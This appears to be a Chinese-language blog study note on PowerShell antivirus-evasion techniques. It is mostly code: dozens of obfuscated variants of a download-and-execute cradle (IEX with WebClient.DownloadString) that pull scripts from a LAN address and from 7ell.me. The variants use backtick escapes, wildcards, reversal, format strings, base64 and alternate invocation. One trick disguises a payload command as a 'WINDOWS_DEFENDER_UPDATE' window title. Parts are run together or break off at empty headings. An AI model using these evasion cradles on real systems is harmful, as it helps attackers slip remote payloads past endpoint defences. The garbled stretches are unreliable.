powershell语言特性(免杀方法)
- 参考文章:https://www.cnblogs.com/linuxsec/articles/7384582.html
- 本文章主要对上述文章的绕过方法进行实验验证,并对一些知识做出些许说明。
一些前置知识
- 想要完全理解下面的绕过方法,您可能还需了解其他知识点,下面列出的知识,只是是我在学习过程中所困惑的。
- &运算符:https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_operators?view=powershell-7.1#call-operator-
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_join?view=powershell-7.2
- 静态成员运算符::
1. cmd启动powershell
- 首先看看powershell使用cmd.exe启动执行代码的方式
1.1 常规方法
- 有三种
cmd.exe /c "powershell -c write-host success -force green"cmd.exe /c "echo write-host success -force green | powershell -" # 最后的那个-不能去掉cmd.exe /c "set p1=power && set p2=shell && cmd /c write-host success -fore green ^|%p1%%p2% -"
- 命令解释(这个解释对理解下面的命令也很有用处):
- /c参数:用于执行字符串指定的命令然后终止,与/k参数类似,但是/k参数执行完字符串中的目录后不会直接终止
- write-host:与write-output用法类似,用于输出
- -force参数 是 -ForegroundColor参数的简写,用于指定输出数据的颜色
- 第三条命令中的:^符号,是bat中的转义符号,再此用于转义管道符
- 在bat中,使用 %变量名% 来取出变量值,使用set命令设置变量值
- 当&&连接两条命令时,表示若前一条命令执行成功的话,在执行后面那条命令,否则不执行后面那条命令
- 执行效果如下图:
1.2 管道输入流
cmd.exe /c "echo write-host success -fore green | powershell iex $input"
- 执行效果如下:
- 对该命令的解释:iex是 Invoke-Expression命令 的简写,用于执行字符串中的命令 如:iex "ls"
- 使用了管道符,将字符串“write-host success -fore green”赋给了变量$input,然后通过iex进行执行
1.3 利用环境变量
cmd.exe /c "set cmd=write-host env -fore green && powershell iex $env:cmd"cmd.exe /c "set cmd=write-host env -fore green && cmd /c echo %cmd%|powershell -"cmd.exe /c "set cmd=write-host env -fore green && powershell iex([environment]::getEnvironmentVariable(\'cmd\',\'process\'))"cmd.exe /c "set cmd=write-host env -fore green && powershell iex((get-childitem/childItem/GCI/DIR/LS env:cmd).value)"
- 执行效果如下:
- 命令解释:
1.4 从其他进程获取参数(这个我没有试验成功)
- 首先启动多个cmd进程,这些进程参数中包含要执行的代码
cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"
- 然后在powershell中提取出来IEX (IWR https://7ell.me/power)执行,如:
cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter \\^"Name = \'cmd.exe\' AND CommandLine like \'%WINDOWS_DEFENDER_UPDATE%\'\\^").CommandLine.Split([char]38)[2].SubString(5)"
1.5 从粘贴板(这种我也没有试验成功)
cmd.exe /c "echo Write-Host CLIP -Fore Green | clip&& powershell [void][System.Reflection.Assembly]::LoadWithPartialName(\'System.Windows.Forms\'); IEX ([System.Windows.Forms.Clipboard]::GetText())"
- 这些方法可以在powershell日志中看到,所以开启powershell的日志分析很重要。但是,如果时混淆的,日志中也仅仅是记录了混淆后的东西。
2. 混淆
-
DownloadString命令所下载的文件:http://192.168.1.103/test
-
Hacker在攻击时经常会远程下载代码脚本执行,这里基于这样的一条标准的下载文件命令来进行变形混淆。
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://192.168.1.103/test")。
- 在混淆之前,先看看powershell获取环境变量的方式。
Get-Variable/GV/Variable cmd -ValueOnly-ValueOnly可以简写为-ValueOnly,-ValueOnl,-ValueOn,-ValueO......,-Va,-V(Get-Item/GI/Item Variable:cmd).Value(Get-ChildItem/GCI/ChildItem/DIR/LS Variable:cmd).Value
- 后面很多构造会用到这些方式的。
2.0 简单处理
- 可以去掉System
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://192.168.1.103/test")
- 将http分开+号连接
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://192.168.1.103/test")
- 变量代替
$wc=New-Object Net.WebClient;$wc.DownloadString(\'h\'+\'ttp://192.168.1.103/test\') | IEX
- 把downloadstring使用单双引号引起来
Invoke-Expression (New-Object Net.WebClient)."DownloadString"(\'h\'+\'ttp://192.168.1.103/test\')
- 使用invoke方法
Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke(\'h\'+\'ttp://192.168.1.103/test\')$ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke(\'h\'+\'ttp://192.168.1.103/test\')
2.1 转义符(反引号)
- 以下为 Windows PowerShell 能够识别的特殊字符:
0 Null`a 警报`b 退格`f 换页`n 换行`r 回车`t 水平制表`v 垂直制表
- 转义符号加在其他字符前不影响字符的意思,避免在0,a,b,f,n,r,t,v的小写字母前出现即可。
Invoke-Expression (New-Object Net.WebClient)."Down`loadString"(\'h\'+\'ttp://192.168.1.103/test\')Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"(\'h\'+\'ttp://192.168.1.103/test\')Invoke-Expression (New-Object Net.WebClient)."D`o`w`N`l`o`A`d`S`T`R`in`g"(\'h\'+\'ttp://192.168.1.103/test\')
- 同样可以使用在Net.Webclient上
Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"(\'h\'+\'ttp://192.168.1.103/test\')
- 括号代替空格,或者多个定义变量来连接替换
Invoke-Expression (New-Object("`Ne`T.`Web`Cli`ent"))."Down`l`oadString"(\'h\'+\'ttp://192.168.1.103/test\')$v1="Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2)."Down`l`oadString"(\'h\'+\'ttp://192.168.1.103/test\')$num1="l";$num2="s";iex($num1+$num2)
2.2 简写与通配符*
- e.g Get-Comamd New-Ob*
- 以下几种处理都可以代替 Get-Command New-Object ; Get-Comamnd 可简写为 GCM
&(Get-Command New-Obje*) &(Get-Command *w-O*) &(GCM *w-O*) &(COMMAND *w-*ct).(Get-Command New-Obje*) .(Get-Command *w-O*) .(GCM *w-O*) .(COMMAND *w-*ct)$var1="New";$var2="-Object";$var3=$var1+$var2;&(GCM $var3)
- 结合其他方法混淆
Invoke-Expression (&(Get-Command New-Obje*)"Net.WebClient")."DownloadString"(\'h\'+\'ttp://192.168.1.103/test\')$var1="New";$var2="-Object";$var3=$var1+$var2;Invoke-Expression (&(GCM $var3)"Net.WebClient")."DownloadString"(\'h\'+\'ttp://192.168.1.103/test\')ie`x (.(GCM *w-O*)"Net.WebClient")."DownloadString"(\'h\'+\'ttp://192.168.1.103/test\')
2.3 脚本块
- &运算符:https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_operators?view=powershell-7.1#call-operator-
- 使用脚本块
# 以下是执行脚本块的方法:invoke-command{xxxx} ICM{xxxx} {xxxx}.invoke() &{xxxx} .{xxxx}# 以下是创建脚本块的方式$ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx")${ExecuTioNCoNTexT}."INVokeCommANd"."NewScRipTBlock"("expression")$ExecutionContext."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression")${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression")$a = ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}; $b = $a."`I`N`V`o`k`e`C`o`m`m`A`N`d";$b."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("ex"+"pres"+"sion")
- Scriptblock类方法,[Scriptblock]相当于
[Type]("Scriptblock")
[Scriptblock]::Create("expression")([Type]"Scriptblock")::create(\'expression\')[Scriptblock]::("Create").Invoke("expression")([Type]("Scriptblock"))::("Create").Invoke("expression")[Scriptblock]::("`C`R`e"+"`A`T`e").Invoke("expression")([Type]("Scr"+"ipt"+"block"))::("`C`R`e"+"`A`T`e").Invoke("ex"+"pres"+"sion")
- 可以构造出下面的式子混淆
.(${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d")."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((& (`G`C`M *w-O*)"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(\'h\'+\'ttp://192.168.1.103/test\'))
2.4 字符串处理
- -join:https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_join?view=powershell-7.2
- 反转
$reverseCmd= ")\'tset/301.1.861.291//:ptth\'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";1. IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join \'\') | IEX2. $reverseCmdCharArray= $reverseCmd.ToCharArray(); [Array]::Reverse($reverseCmdCharArray); IEX ($reverseCmdCharArray-Join \'\') | IEX3. IEX (-Join[RegEx]::Matches($reverseCmd,\'.\',\'RightToLeft\')) | IEX
- 分割截断 or 替换字符
$cmdWithDelim= "(New-Object Net.We~~bClient).Downlo~~adString(\'http://192.168.1.103/test\')";1. IEX ($cmdWithDelim.Split("~~") -Join \'\') | IEX2. IEX $cmdWithDelim.Replace("~~","") | IEX3. IEX ($cmdWithDelim-Replace "~~","") | IEX
- 格式填充,-f 格式化。
//将NE download http://分别填到{0},{1},{2}IEX (\'({0}w-Object {0}t.WebClient).{1}String("{2}192.168.1.103/test")\' -f \'Ne\', \'Download\',\'http://\') | IEX//示例2.("{1}{0}" -f \'X\',\'IE\') (&("{3}{2}{1}{0}" -f \'ct\',\'-Obje\',\'w\',\'Ne\') ("{0}{2}{1}" -f \'N\',\'nt\',\'et.WebClie\')).("{2}{0}{1}{3}" -f \'dSt\',\'rin\',\'Downloa\',\'g\').Invoke(("{5}{0}{3}{4}{1}{2}" -f \'tp:/\',\'1.\',\'103/test\',\'/\',\'192.168.\',\'ht\'))
- 变量拼接
$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString(\'http://192.168.1.103/text\')";1. IEX ($c1,$c2,$c3 -Join \'\') | IEX2. IEX ($c1,$c3 -Join $c2) | IEX3. IEX ([string]::Join($c2,$c1,$c3)) | IEX # 这一条在我运行的时候发生了报错:找不到“Join”的重载,参数计数为:“3”。4. IEX ([string]::Concat($c1,$c2,$c3)) | IEX5. IEX ($c1+$c2+$c3) | IEX6. IEX "$c1$c2$c3" | IEX
2.5 编码
-
Ascii
- 使用[char]xx 代替字符 如:[char]59–>;~~~//不用分号$cmd= "$c1~~$c2~~$c3~~$c4"; IEX $cmd.Replace("~~",string) | IEX~~~
-
Base64
命令行参数使用~~~-EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,……,Enc,-En,E~~~
-
解码echo 123 的base64 ZQBjAGgAbwAgADEAMgAzAAoA~~~1.PS 2.0 -> [C
onv
ert]::"FromB
Ase6
4Str
ing"(\'ZQBjAGgAbwAgADEAMgAzAAoA\') 2.PS 3.0+ -> [ <##> Convert <##> ]:: <##> "FromB
Ase6
4Str
ing"(\’ZQBjAGgAbwAgADEAMgAzAAoA\’)~~~
-
.NET的方法
IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\'ZQBjAGgAbwAgADEAMgAzAAoA\')))
- 其他不同的方式编码 hex/octal/binary/BXOR/etc.
[Convert]::ToString(1234, 2)[Convert]::ToString(1234, 8)[Convert]::ToString(1234, 16)* 也是转换为16进制"{0:X4}" -f 1234 小写: "{0:x4}" -f 1234[Byte][Char]([Convert]::ToInt16($_,16))($cmd.ToCharArray() | % {[int]$_}) -Join $delim //可以去掉空白 -Join$delim$bytes[$i] = $bytes[$i] -BXOR 0x6A //可以去点空白 $bytes[$i]-BXOR0x6A)
2.6 自构造关键字替换
- 就是在其他命令的输出下查看观察目标字符串位置,然后提取出来。比如DownlaodString的构造替换
DownloadString == (((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like \'*wn*d*g\'}).Name)IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like \'*wn*d*g\'}).Name).Invoke(\'http://7ell.me/power\')
- 再结合get-command的变形
IEX (.(COMMAND *w-*ct) Net.WebClient).(((.(COMMAND *w-*ct) Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like \'*wn*d*g\'}).Name).Invoke(\'http://7ell.me/power\')
- 根据这样的思路结合上面提到的获取环境变量方法,可以把New-Object层层混淆为
(GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).PsObject.Methods|Where{(GCI Variable:_).Value.Name-ilike\'*Co*d\'}).Name).Invoke((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name)|GM|Where{(GCI Variable:_).Value.Name-ilike\'G*om*e\'}).Name).Invoke(\'N*ct\',$TRUE,1), [System.Management.Automation.CommandTypes]::Cmdlet)
3. IEX 的处理与其他执行方法
- 经过上面构造可以看到很多都使用Invoke-Expression/IEX命令,.,&符号来执行表达式。
- Invoke-Expression/IEX命令是很常用的一个命令, 运行一个以字符串形式提供的PowerShell表达式。
- 这里也先看看代替IEX的各种执行方式
Get-Alias/GAL~~~&(GAL IX).(LS Alias:/IX)Get-Command/GCM.(GCM Ie-E)&(Command Ie-E)~~~
-
GetCmdlets (PS1.0+)~~~$ExecutionContext.InvokeCommand.GetCmdlets(\’Ie-E\’),//用到环境变量&(GV ECont -Va).InvokeCommand.(((GV ECont -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike\’Cmts\’}).Name).Invoke(\’Ie-E\’)~~~
-
InvokeScript (PS1.0+)~~~$ExecutionContext.InvokeCommand.InvokeScript($Script)(GV ECont -Va).InvokeCommand.(((GV ECont -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike\’I*\’}).Name).Invoke($Script),~~~
-
Invoke-Command/ICM~~~Invoke-Command ([ScriptBlock]::Create($Script))[ScriptBlock]::Create($Script).Invoke().((GV cutt -Va).(((GV cutt -Va)|Member)[6].Name).(((GV cutt -Va).(((GV cutt -Va)|Member)[6].Name)|Member|Where-Object{(Get-Variable _ -Va).Name-clike\’NSB*\’}).Name).Invoke($Script))~~~
-
PS Runspace~~~[PowerShell]::Create().AddScript($Script).Invoke()Invoke-AsWorkflow (PS3.0+)Invoke-AsWorkflow -Expression $Script~~~
-
提取串联出IEX,也是在其他命令的输出下查看观察目标字符串位置,然后提取出来(这个方法是真的强)
- &运算符:https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_operators?view=powershell-7.1#call-operator-~~~($Env:ComSpec[4,26,25]-Join\’\’)((LS env:/Copec).Value[4,26,25]-Join\’\’)($ShellId[1]+$ShellId[13]+\’x\’)((GV Selld -Va)[1]+(DIR Variable:\\Sell*d).Value[13]+\’x\’)(([String]\’\’.IndexOf)[0,7,8]-Join\’\’)//怎么构造?,比如上面这个 首先查看\’\’|Get-Member有个IndexOf方法,然后看看[String]\’\’.IndexOf的输出,提取出里面的IEX字母~~~
- 利用(以最后一条举例):
- 原理说明(以最后一条举例):
- 举一个与变量拼接结合使用的例子: